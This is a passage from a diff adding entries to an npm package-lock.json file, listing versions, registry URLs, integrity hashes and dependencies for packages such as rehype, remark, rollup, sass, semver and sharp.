"1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/quilt-bulma": { + "version": "0.0.23", + "resolved": "https://registry.npmjs.org/quilt-bulma/-/quilt-bulma-0.0.23.tgz", + "integrity": "sha512-79pxK+JfOk5ZWH9Qz67nKPkaRpNgqs1Eky0wsqgTviaRtg9xx1+IFi8F4UkFfITqv3JoNjCF+qK3mIEJhyz1IA==", + "dev": true + }, + "node_modules/rc": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "dev": true, + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/recast": { + "version": "0.20.5", + "resolved": "https://registry.npmjs.org/recast/-/recast-0.20.5.tgz", + "integrity": "sha512-E5qICoPoNL4yU0H0NoBDntNB0Q5oMSNh9usFctYniLBluTthi3RsQVBXIJNbApOlvSwW/RGxIuokPcAc59J5fQ==", + "dev": true, + "dependencies": { + "ast-types": "0.14.2", + "esprima": "~4.0.0", + "source-map": "~0.6.1", + "tslib": "^2.0.1" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/recast/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==", + "dev": true + }, + "node_modules/rehype": { + "version": "12.0.1", + "resolved": "https://registry.npmjs.org/rehype/-/rehype-12.0.1.tgz", + "integrity": "sha512-ey6kAqwLM3X6QnMDILJthGvG1m1ULROS9NT4uG9IDCuv08SFyLlreSuvOa//DgEvbXx62DS6elGVqusWhRUbgw==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "rehype-parse": "^8.0.0", + "rehype-stringify": "^9.0.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/rehype-autolink-headings": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/rehype-autolink-headings/-/rehype-autolink-headings-6.1.1.tgz", + "integrity": "sha512-NMYzZIsHM3sA14nC5rAFuUPIOfg+DFmf9EY1YMhaNlB7+3kK/ZlE6kqPfuxr1tsJ1XWkTrMtMoyHosU70d35mA==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "extend": "^3.0.0", + "hast-util-has-property": "^2.0.0", + "hast-util-heading-rank": "^2.0.0", + "hast-util-is-element": "^2.0.0", + "unified": "^10.0.0", + "unist-util-visit": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/rehype-parse": { + "version": "8.0.4", + "resolved": "https://registry.npmjs.org/rehype-parse/-/rehype-parse-8.0.4.tgz", + "integrity": "sha512-MJJKONunHjoTh4kc3dsM1v3C9kGrrxvA3U8PxZlP2SjH8RNUSrb+lF7Y0KVaUDnGH2QZ5vAn7ulkiajM9ifuqg==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "hast-util-from-parse5": "^7.0.0", + "parse5": "^6.0.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/rehype-parse/node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==", + "dev": true + }, + "node_modules/rehype-raw": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/rehype-raw/-/rehype-raw-6.1.1.tgz", + "integrity": "sha512-d6AKtisSRtDRX4aSPsJGTfnzrX2ZkHQLE5kiUuGOeEoLpbEulFF4hj0mLPbsa+7vmguDKOVVEQdHKDSwoaIDsQ==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "hast-util-raw": "^7.2.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/rehype-stringify": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/rehype-stringify/-/rehype-stringify-9.0.3.tgz", + "integrity": "sha512-kWiZ1bgyWlgOxpqD5HnxShKAdXtb2IUljn3hQAhySeak6IOQPPt6DeGnsIh4ixm7yKJWzm8TXFuC/lPfcWHJqw==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "hast-util-to-html": "^8.0.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/remark-frontmatter": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/remark-frontmatter/-/remark-frontmatter-4.0.1.tgz", + "integrity": "sha512-38fJrB0KnmD3E33a5jZC/5+gGAC2WKNiPw1/fdXJvijBlhA7RCsvJklrYJakS0HedninvaCYW8lQGf9C918GfA==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-frontmatter": "^1.0.0", + "micromark-extension-frontmatter": "^1.0.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-gfm": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-3.0.1.tgz", + "integrity": "sha512-lEFDoi2PICJyNrACFOfDD3JlLkuSbOa5Wd8EPt06HUdptv8Gn0bxYTdbU/XXQ3swAPkEaGxxPN9cbnMHvVu1Ig==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-gfm": "^2.0.0", + "micromark-extension-gfm": "^2.0.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-mdx": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/remark-mdx/-/remark-mdx-2.3.0.tgz", + "integrity": "sha512-g53hMkpM0I98MU266IzDFMrTD980gNF3BJnkyFcmN+dD873mQeD5rdMO3Y2X+x8umQfbSE0PcoEDl7ledSA+2g==", + "dev": true, + "dependencies": { + "mdast-util-mdx": "^2.0.0", + "micromark-extension-mdxjs": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-parse": { + "version": "10.0.2", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-10.0.2.tgz", + "integrity": "sha512-3ydxgHa/ZQzG8LvC7jTXccARYDcRld3VfcgIIFs7bI6vbRSxJJmzgLEIIoYKyrfhaY+ujuWaf/PJiMZXoiCXgw==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-from-markdown": "^1.0.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-rehype": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/remark-rehype/-/remark-rehype-10.1.0.tgz", + "integrity": "sha512-EFmR5zppdBp0WQeDVZ/b66CWJipB2q2VLNFMabzDSGR66Z2fQii83G5gTBbgGEnEEA0QRussvrFHxk1HWGJskw==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "@types/mdast": "^3.0.0", + "mdast-util-to-hast": "^12.1.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-smartypants": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/remark-smartypants/-/remark-smartypants-2.0.0.tgz", + "integrity": "sha512-Rc0VDmr/yhnMQIz8n2ACYXlfw/P/XZev884QU1I5u+5DgJls32o97Vc1RbK3pfumLsJomS2yy8eT4Fxj/2MDVA==", + "dev": true, + "dependencies": { + "retext": "^8.1.0", + "retext-smartypants": "^5.1.0", + "unist-util-visit": "^4.1.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/resolve": { + "version": "1.22.2", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.2.tgz", + "integrity": "sha512-Sb+mjNHOULsBv818T40qSPeRiuWLyaGMa5ewydRLFimneixmVy2zdivRl+AF6jaYPC8ERxGDmFSiqui6SfPd+g==", + "dev": true, + "dependencies": { + "is-core-module": "^2.11.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/restore-cursor": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-4.0.0.tgz", + "integrity": "sha512-I9fPXU9geO9bHOt9pHHOhOkYerIMsmVaWB0rA2AI9ERh/+x/i7MV5HKBNrg+ljO5eoPVgCcnFuRjJ9uH6I/3eg==", + "dev": true, + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/restore-cursor/node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/restore-cursor/node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/retext": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/retext/-/retext-8.1.0.tgz", + "integrity": "sha512-N9/Kq7YTn6ZpzfiGW45WfEGJqFf1IM1q8OsRa1CGzIebCJBNCANDRmOrholiDRGKo/We7ofKR4SEvcGAWEMD3Q==", + "dev": true, + "dependencies": { + "@types/nlcst": "^1.0.0", + "retext-latin": "^3.0.0", + "retext-stringify": "^3.0.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/retext-latin": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/retext-latin/-/retext-latin-3.1.0.tgz", + "integrity": "sha512-5MrD1tuebzO8ppsja5eEu+ZbBeUNCjoEarn70tkXOS7Bdsdf6tNahsv2bY0Z8VooFF6cw7/6S+d3yI/TMlMVVQ==", + "dev": true, + "dependencies": { + "@types/nlcst": "^1.0.0", + "parse-latin": "^5.0.0", + "unherit": "^3.0.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/retext-smartypants": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/retext-smartypants/-/retext-smartypants-5.2.0.tgz", + "integrity": "sha512-Do8oM+SsjrbzT2UNIKgheP0hgUQTDDQYyZaIY3kfq0pdFzoPk+ZClYJ+OERNXveog4xf1pZL4PfRxNoVL7a/jw==", + "dev": true, + "dependencies": { + "@types/nlcst": "^1.0.0", + "nlcst-to-string": "^3.0.0", + "unified": "^10.0.0", + "unist-util-visit": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/retext-stringify": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/retext-stringify/-/retext-stringify-3.1.0.tgz", + "integrity": "sha512-767TLOaoXFXyOnjx/EggXlb37ZD2u4P1n0GJqVdpipqACsQP+20W+BNpMYrlJkq7hxffnFk+jc6mAK9qrbuB8w==", + "dev": true, + "dependencies": { + "@types/nlcst": "^1.0.0", + "nlcst-to-string": "^3.0.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/roarr": { + "version": "2.15.4", + "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.4.tgz", + "integrity": "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==", + "dev": true, + "dependencies": { + "boolean": "^3.0.1", + "detect-node": "^2.0.4", + "globalthis": "^1.0.1", + "json-stringify-safe": "^5.0.1", + "semver-compare": "^1.0.0", + "sprintf-js": "^1.1.2" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/roarr/node_modules/sprintf-js": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", + "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", + "dev": true + }, + "node_modules/rollup": { + "version": "3.26.2", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-3.26.2.tgz", + "integrity": "sha512-6umBIGVz93er97pMgQO08LuH3m6PUb3jlDUUGFsNJB6VgTCUaDFpupf5JfU30529m/UKOgmiX+uY6Sx8cOYpLA==", + "dev": true, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=14.18.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/run-applescript": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/run-applescript/-/run-applescript-5.0.0.tgz", + "integrity": "sha512-XcT5rBksx1QdIhlFOCtgZkB99ZEouFZ1E2Kc2LHqNW13U3/74YGdkQRmThTwxy4QIyookibDKYZOPqX//6BlAg==", + "dev": true, + "dependencies": { + "execa": "^5.0.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/run-applescript/node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/run-applescript/node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "dev": true, + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/run-applescript/node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/run-applescript/node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/run-applescript/node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dev": true, + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/run-applescript/node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/run-applescript/node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/s.color": { + "version": "0.0.15", + "resolved": "https://registry.npmjs.org/s.color/-/s.color-0.0.15.tgz", + "integrity": "sha512-AUNrbEUHeKY8XsYr/DYpl+qk5+aM+DChopnWOPEzn8YKzOhv4l2zH6LzZms3tOZP3wwdOyc0RmTciyi46HLIuA==", + "dev": true + }, + "node_modules/sade": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/sade/-/sade-1.8.1.tgz", + "integrity": "sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==", + "dev": true, + "dependencies": { + "mri": "^1.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/sass": { + "version": "1.63.6", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.63.6.tgz", + "integrity": "sha512-MJuxGMHzaOW7ipp+1KdELtqKbfAWbH7OLIdoSMnVe3EXPMTmxTmlaZDCTsgIpPCs3w99lLo9/zDKkOrJuT5byw==", + "dev": true, + "dependencies": { + "chokidar": ">=3.0.0 <4.0.0", + "immutable": "^4.0.0", + "source-map-js": ">=0.6.2 <2.0.0" + }, + "bin": { + "sass": "sass.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/sass-formatter": { + "version": "0.7.6", + "resolved": "https://registry.npmjs.org/sass-formatter/-/sass-formatter-0.7.6.tgz", + "integrity": "sha512-hXdxU6PCkiV3XAiSnX+XLqz2ohHoEnVUlrd8LEVMAI80uB1+OTScIkH9n6qQwImZpTye1r1WG1rbGUteHNhoHg==", + "dev": true, + "dependencies": { + "suf-log": "^2.5.3" + } + }, + "node_modules/sax": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", + "dev": true + }, + "node_modules/section-matter": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/section-matter/-/section-matter-1.0.0.tgz", + "integrity": "sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==", + "dev": true, + "dependencies": { + "extend-shallow": "^2.0.1", + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver-compare": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz", + "integrity": "sha512-YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow==", + "dev": true + }, + "node_modules/semver-regex": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/semver-regex/-/semver-regex-3.1.4.tgz", + "integrity": "sha512-6IiqeZNgq01qGf0TId0t3NvKzSvUsjcpdEO3AQNeIjR6A2+ckTnQlDpl4qu1bjRv0RzN3FP9hzFmws3lKqRWkA==", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/semver-sort": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/semver-sort/-/semver-sort-1.0.0.tgz", + "integrity": "sha512-JicVlQKz/C//4BiPmbHEDou6HihXxo5xqB/8Hm9FaLJ6HHkRRvYgCECq4u/z0XF8kyJQ/KAZt++A/kYz/oOSSg==", + "dependencies": { + "semver": "^5.0.3", + "semver-regex": "^3.1.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/semver-sort/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/semver/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/serialize-error": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz", + "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==", + "dev": true, + "dependencies": { + "type-fest": "^0.13.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/serialize-error/node_modules/type-fest": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", + "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/sharp": { + "version": "0.32.1", + "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.32.1.tgz", + "integrity": "sha512-kQTFtj7ldpUqSe8kDxoGLZc1rnMFU0AO2pqbX6pLy3b7Oj8ivJIdoKNwxHVQG2HN6XpHPJqCSM2nsma2gOXvOg==", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "color": "^4.2.3", + "detect-libc": "^2.0.1", + "node-addon-api": "^6.1.0", + "prebuild-install": "^7.1.1", + "semver": "^7.5.0", + "simple-get": "^4.0.1", + "tar-fs": "^2.1.1", + "tunnel-agent": "^0.6.0" + }, + "engines": { + "node": ">=14.15.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/shiki": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/shiki/-/shiki-0.11.1.tgz", + "integrity": "sha512-EugY9VASFuDqOexOgXR18ZV+TbFrQHeCpEYaXamO+SZlsnT/2LxuLBX25GGtIrwaEVFXUAbUQ601SWE2rMwWHA==", + "dev": 